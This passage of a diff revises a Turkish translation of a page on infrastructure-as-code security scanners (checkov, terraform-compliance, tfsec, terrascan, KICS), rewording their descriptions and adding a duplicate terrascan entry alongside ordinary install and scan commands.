Common Vulnerabilities and Exposures (CVEs). ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`, altyapı kodunuz için negatif test yeteneğini etkinleştirmek amacıyla terraform'a karşı hafif, güvenlik ve uyumluluk odaklı bir test çerçevesidir. +From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` terraform'a karşı hafif, güvenlik ve uyumluluk odaklı bir test framework'üdür; Infrastructure-as-Code (IaC) için negatif test yeteneği sağlar. - **uyumluluk:** Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğunu doğrulayın. -- **davranış odaklı geliştirme:** Neredeyse her şey için BDD'miz var, neden IaC için olmasın? -- **taşınabilir:** Sadece `pip` ile yükleyin veya `docker` üzerinden çalıştırın. [Kurulum](https://terraform-compliance.com/pages/installation/) sayfasına bakın. -- **ön dağıtım:** Kodunuzu dağıtılmadan önce doğrular. -- **entegrasyonu kolay:** Tüm dağıtımların doğrulandığından emin olmak için pipeline'ınızda (veya git hook'larında) çalıştırılabilir. -- **görev ayrımı:** Testlerinizi ayrı bir ekibin sorumlu olduğu farklı bir depoda tutabilirsiniz. +- **davranış odaklı geliştirme:** Neredeyse her şey için BDD var, peki IaC için neden olmasın? +- **taşınabilir:** Sadece `pip` ile yükleyin veya `docker` ile çalıştırın. Bkz. [Installation](https://terraform-compliance.com/pages/installation/) +- **dağıtımdan önce:** Kodunuzu dağıtılmadan önce doğrular. +- **entegrasyonu kolay:** Pipeline'ınızda (veya git hook'larında) çalıştırılabilir, böylece tüm dağıtımlar doğrulanır. +- **görev ayrımı:** Testlerinizi ayrı bir depoda tutabilirsiniz; sorumluluk ayrı bir ekibe ait olabilir. > [!NOTE] -> Ne yazık ki, kod bazı sağlayıcıları kullanıyorsa ve bu sağlayıcılara erişiminiz yoksa `terraform plan` gerçekleştiremeyecek ve bu aracı çalıştıramayacaksınız. +> Ne yazık ki kod bazı provider'ları kullanıyorsa ve bunlara erişiminiz yoksa `terraform plan` yapamaz ve bu aracı çalıştıramazsınız. ```bash pip install terraform-compliance terraform plan -out=plan.out @@ -321,40 +348,53 @@ terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) -From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec, terraform kodunuzun statik analizini kullanarak potansiyel yanlış yapılandırmaları tespit eder. +Kaynak: [**docs**](https://github.com/aquasecurity/tfsec): tfsec, terraform kodunuzun statik analizini kullanarak potansiyel yanlış yapılandırmaları tespit eder. -- ☁️ Tüm büyük (ve bazı küçük) bulut sağlayıcıları arasında yanlış yapılandırmaları kontrol eder +- ☁️ Tüm büyük (ve bazı küçük) bulut sağlayıcıları genelinde yanlış yapılandırmaları kontrol eder - ⛔ Yüzlerce yerleşik kural -- 🪆 Modülleri (yerel ve uzaktan) tarar +- 🪆 Modülleri tarar (yerel ve uzak) - ➕ HCL ifadelerini ve literal değerleri değerlendirir -- ↪️ Terraform fonksiyonlarını değerlendirir, örneğin `concat()` +- ↪️ Terraform fonksiyonlarını değerlendirir (ör. concat()) - 🔗 Terraform kaynakları arasındaki ilişkileri değerlendirir - 🧰 Terraform CDK ile uyumlu -- 🙅 Kullanıcı tanımlı Rego politikalarını uygular (ve süsler) -- 📃 Birden fazla çıktı formatını destekler: lovely (varsayılan), JSON, SARIF, CSV, CheckStyle, JUnit, metin, Gif. +- 🙅 Kullanıcı tanımlı Rego politikalarını uygular (ve zenginleştirir) +- 📃 Birden çok çıktı formatını destekler: lovely (varsayılan), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. - 🛠️ Yapılandırılabilir (CLI bayrakları ve/veya yapılandırma dosyası aracılığıyla) -- ⚡ Çok hızlı, büyük depoları hızlı bir şekilde tarama yeteneğine sahip +- ⚡ Çok hızlı, büyük depoları hızlıca tarayabilir ```bash brew install tfsec tfsec /path/to/folder ``` +### [terrascan](https://github.com/tenable/terrascan) + +Terrascan, Infrastructure as Code için statik bir kod analizörüdür. Terrascan şunları yapmanıza olanak tanır: + +- Kod olarak altyapıyı yanlış yapılandırmalar için sorunsuzca tarar. +- Sağlanan bulut altyapısını, güvenlik duruşu sapmasına yol açan yapılandırma değişiklikleri açısından izler ve güvenli duruşa geri dönmeyi sağlar. +- Güvenlik açıklarını ve uyumluluk ihlallerini tespit eder. +- Bulut-native altyapı sağlanmadan önce riskleri azaltır. +- Yerel olarak çalıştırma veya CI\CD ile entegre etme esnekliği sunar. +```bash +brew install terrascan +terrascan scan -d /path/to/folder +``` ### [KICKS](https://github.com/Checkmarx/kics) -Geliştirme döngüsünün başında, **KICS** ile güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını erken tespit edin. +Checkmarx tarafından geliştirilen **KICS** ile infrastructure-as-code uygulamalarınızın geliştirme döngüsünde güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını erken tespit edin. -**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır, açık kaynaklıdır ve herhangi bir bulut yerel proje için vazgeçilmezdir. +**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır; açık kaynaklıdır ve herhangi bir cloud native proje için olmazsa olmazdır. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -From the [**docs**](https://github.com/tenable/terrascan): Terrascan, Kod Olarak Altyapı için statik bir kod analizörüdür. Terrascan size şunları sağlar: +Kaynak: [**docs**](https://github.com/tenable/terrascan): Terrascan, Infrastructure as Code için statik bir kod analiz aracıdır. Terrascan size şunları sağlar: -- Yanlış yapılandırmalar için altyapıyı kod olarak sorunsuz bir şekilde tarama. -- Sağlanan bulut altyapısını, duruş kayması oluşturan yapılandırma değişiklikleri için izleme ve güvenli bir duruşa geri dönmeyi sağlama. -- Güvenlik açıklarını ve uyum ihlallerini tespit etme. -- Bulut yerel altyapıyı sağlamadan önce riskleri azaltma. -- Yerel olarak çalıştırma veya CI\CD'nizle entegre etme esnekliği sunar. +- Infrastructure as Code içindeki yapılandırma hatalarını sorunsuzca tarama. +- Sağlanan bulut altyapısını, yapılandırma değişikliklerinin neden olduğu posture drift için izleme ve güvenli bir duruma geri dönmeyi sağlama. +- Güvenlik açıklarını ve uyumluluk ihlallerini tespit etme. +- Cloud native altyapı sağlanmadan önce riskleri azaltma. +- Yerelde çalıştırma veya CI\CD ile entegre etme esnekliği sunma. ```bash brew install terrascan ```